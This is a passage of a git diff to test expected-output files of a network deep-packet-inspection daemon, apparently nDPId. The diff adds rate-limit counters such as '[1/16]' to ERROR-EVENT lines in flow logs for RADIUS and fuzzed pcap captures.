[ip4][..udp] [....10.12.64.30][29200] -> [...198.48.25.53][.1812] @@ -284,8 +284,8 @@ update: [....34] [ip4][..112] [....10.12.64.30] -> [..198.226.25.53] [VRRP][Network][Acceptable] new: [....53] [ip4][..udp] [..198.226.25.53][.1813] -> [....10.12.64.30][29200] detected: [....53] [ip4][..udp] [..198.226.25.53][.1813] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown L3 protocol [2/16] idle: [....37] [ip4][..udp] [..198.226.25.62][.1812] -> [.....10.12.37.0][29200] [Radius][Network][Acceptable] idle: [....36] [ip4][..udp] [.....37.0.25.62][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] new: [....54] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.30][29204] @@ -300,8 +300,8 @@ idle: [....23] [ip4][...85] [..198.226.25.62] -> [....10.12.64.30] DAEMON-EVENT: [Processed: 200 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 15 / 54|skipped: 0|!detected: 10|guessed: 2|detection-updates: 0|updates: 98] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] idle: [....48] [ip4][..udp] [..198.226.25.53][.1812] -> [...10.12.112.30][29200] [Radius][Network][Acceptable] idle: [....46] [ip4][..udp] [....10.76.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] idle: [....45] [ip4][..udp] [..198.234.25.53][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] @@ -341,18 +341,18 @@ detected: [....59] [ip4][..udp] [....88.12.80.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] new: [....60] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.62][.1812] detected: [....60] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.62][.1812] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [....61] [ip4][..udp] [.....10.6.64.30][29200] -> [..198.226.25.53][.1812] detected: [....61] [ip4][..udp] [.....10.6.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] new: [....62] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.82.64.30][29200] detected: [....62] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.82.64.30][29200] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [....63] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.80.53][.1812] detected: [....63] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.80.53][.1812] [Radius][Network][Acceptable] new: [....64] [ip4][..udp] [..198.226.25.53][.3860] -> [....14.12.64.30][29200] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [....57] [ip4][..udp] [....10.12.82.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [....58] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.66][29200] @@ -361,29 +361,29 @@ detected: [....65] [ip4][..udp] [.....198.7.9.53][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] new: [....66] [ip4][..udp] [....10.12.64.30][29232] -> [..198.226.25.53][.1812] detected: [....66] [ip4][..udp] [....10.12.64.30][29232] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown L3 protocol [2/16] new: [....67] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.81.64.30][29200] detected: [....67] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.81.64.30][29200] [Radius][Network][Acceptable] new: [....68] [ip4][..udp] [..198.226.25.53][43028] -> [....10.12.64.30][29200] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Unknown packet type + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: Unknown packet type [4/16] update: [....60] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.62][.1812] [Radius][Network][Acceptable] update: [....61] [ip4][..udp] [.....10.6.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [....62] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.82.64.30][29200] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: Unknown L3 protocol - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] + ERROR-EVENT: Unknown L3 protocol [6/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [....69] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.73][29200] detected: [....69] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.73][29200] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] new: [....70] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.30][29208] detected: [....70] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.30][29208] [Radius][Network][Acceptable] new: [....71] [ip4][..udp] [....10.12.64.30][29289] -> [..198.226.25.53][.1812] detected: [....71] [ip4][..udp] [....10.12.64.30][29289] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [5/16] update: [.....3] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [....57] [ip4][..udp] [....10.12.82.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] update: [....58] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.66][29200] @@ -401,7 +401,7 @@ update: [....65] [ip4][..udp] [.....198.7.9.53][.1812] -> [....10.12.64.30][29200] [Radius][Network][Acceptable] update: [....67] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.81.64.30][29200] [Radius][Network][Acceptable] update: [....62] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.82.64.30][29200] [Radius][Network][Acceptable] - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [1/16] idle: [....69] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.73][29200] [Radius][Network][Acceptable] idle: [....63] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.80.53][.1812] [Radius][Network][Acceptable] guessed: [....58] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.66][29200] [Radius][Network][Acceptable] @@ -426,11 +426,11 @@ new: [....73] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] detected: [....73] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] new: [....74] [ip4][..udp] [..198.226.25.53][.1814] -> [....10.12.64.30][29200] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [....75] [ip4][..udp] [....57.12.64.30][29200] -> [..198.226.25.53][28948] new: [....76] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.30][22544] detected: [....76] [ip4][..udp] [..198.226.25.53][.1812] -> [....10.12.64.30][22544] [Radius][Network][Acceptable] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] DAEMON-EVENT: [Processed: 285 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 6 / 76|skipped: 0|!detected: 15|guessed: 3|detection-updates: 0|updates: 132] new: [....77] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1813] @@ -441,8 +441,8 @@ idle: [....40] [ip4][..170] [170.170.170.170] -> [170.170.170.170] update: [....60] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.62][.1812] [Radius][Network][Acceptable] new: [....79] [ip4][...37] [..198.226.25.53] -> [....10.12.64.30] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] idle: [....73] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.53][.1812] [Radius][Network][Acceptable] idle: [....60] [ip4][..udp] [....10.12.64.30][29200] -> [..198.226.25.62][.1812] [Radius][Network][Acceptable] idle: [....78] [ip4][..udp] [..198.226.25.53][.1813] -> [....10.12.64.30][21008] [Radius][Network][Acceptable] diff --git a/test/results/flow-info/fuzz-2021-06-07-c6c72a0a56.pcap.out b/test/results/flow-info/fuzz-2021-06-07-c6c72a0a56.pcap.out index 3a7d43e57..213850b78 100644 --- a/test/results/flow-info/fuzz-2021-06-07-c6c72a0a56.pcap.out +++ b/test/results/flow-info/fuzz-2021-06-07-c6c72a0a56.pcap.out @@ -1,6 +1,6 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: Captured packet size is smaller than expected packet size [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/fuzz-2021-10-13.pcap.out b/test/results/flow-info/fuzz-2021-10-13.pcap.out index bbd5afb3b..dcd1d55dc 100644 --- a/test/results/flow-info/fuzz-2021-10-13.pcap.out +++ b/test/results/flow-info/fuzz-2021-10-13.pcap.out @@ -1,5 +1,5 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown datalink layer packet + ERROR-EVENT: Unknown datalink layer packet [1/16] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/gnutella.pcap.out b/test/results/flow-info/gnutella.pcap.out index 2091c43d9..be44547c4 100644 --- a/test/results/flow-info/gnutella.pcap.out +++ b/test/results/flow-info/gnutella.pcap.out @@ -1,5 +1,5 @@ DAEMON-EVENT: init - ERROR-EVENT: Packet too short + ERROR-EVENT: Packet too short [1/16] new: [.....1] [ip6][icmp6] [.....................................::] -> [......................ff02::1:ffa4:e108] detected: [.....1] [ip6][icmp6] [.....................................::] -> [......................ff02::1:ffa4:e108] [ICMPV6][Network][Acceptable] new: [.....2] [ip6][icmp6] [..............fe80::c50d:519f:96a4:e108] -> [................................ff02::2] diff --git a/test/results/flow-info/gtp_prime.pcapng.out b/test/results/flow-info/gtp_prime.pcapng.out index bd91d147d..7159b2bad 100644 --- a/test/results/flow-info/gtp_prime.pcapng.out +++ b/test/results/flow-info/gtp_prime.pcapng.out @@ -1,5 +1,5 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/ip_fragmented_garbage.pcap.out b/test/results/flow-info/ip_fragmented_garbage.pcap.out index 16a728dd3..8f1ff644d 100644 --- a/test/results/flow-info/ip_fragmented_garbage.pcap.out +++ b/test/results/flow-info/ip_fragmented_garbage.pcap.out @@ -2,9082 +2,50 @@ DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] new: [.....1] [ip4][..tcp] [.......10.0.0.2][24102] -> [.....10.128.0.2][10792] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected + ERROR-EVENT: TCP packet smaller than expected [1/16] + ERROR-EVENT: TCP packet smaller than expected [2/16] + ERROR-EVENT: TCP packet smaller than expected [3/16] + ERROR-EVENT: TCP packet smaller than expected [4/16] + ERROR-EVENT: TCP packet smaller than expected [5/16] + ERROR-EVENT: TCP packet smaller than expected [6/16] + ERROR-EVENT: TCP packet smaller than expected [7/16] + ERROR-EVENT: TCP packet smaller than expected [8/16] + ERROR-EVENT: TCP packet smaller than expected [9/16] + ERROR-EVENT: TCP packet smaller than expected [10/16] + ERROR-EVENT: TCP packet smaller than expected [11/16] + ERROR-EVENT: TCP packet smaller than expected [12/16] + ERROR-EVENT: TCP packet smaller than expected [13/16] + ERROR-EVENT: TCP packet smaller than expected [14/16] + ERROR-EVENT: TCP packet smaller than expected [15/16] + ERROR-EVENT: TCP packet smaller than expected [16/16] new: [.....2] [ip4][..tcp] [.......10.0.0.2][18730] -> [.....10.128.0.2][20304] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP 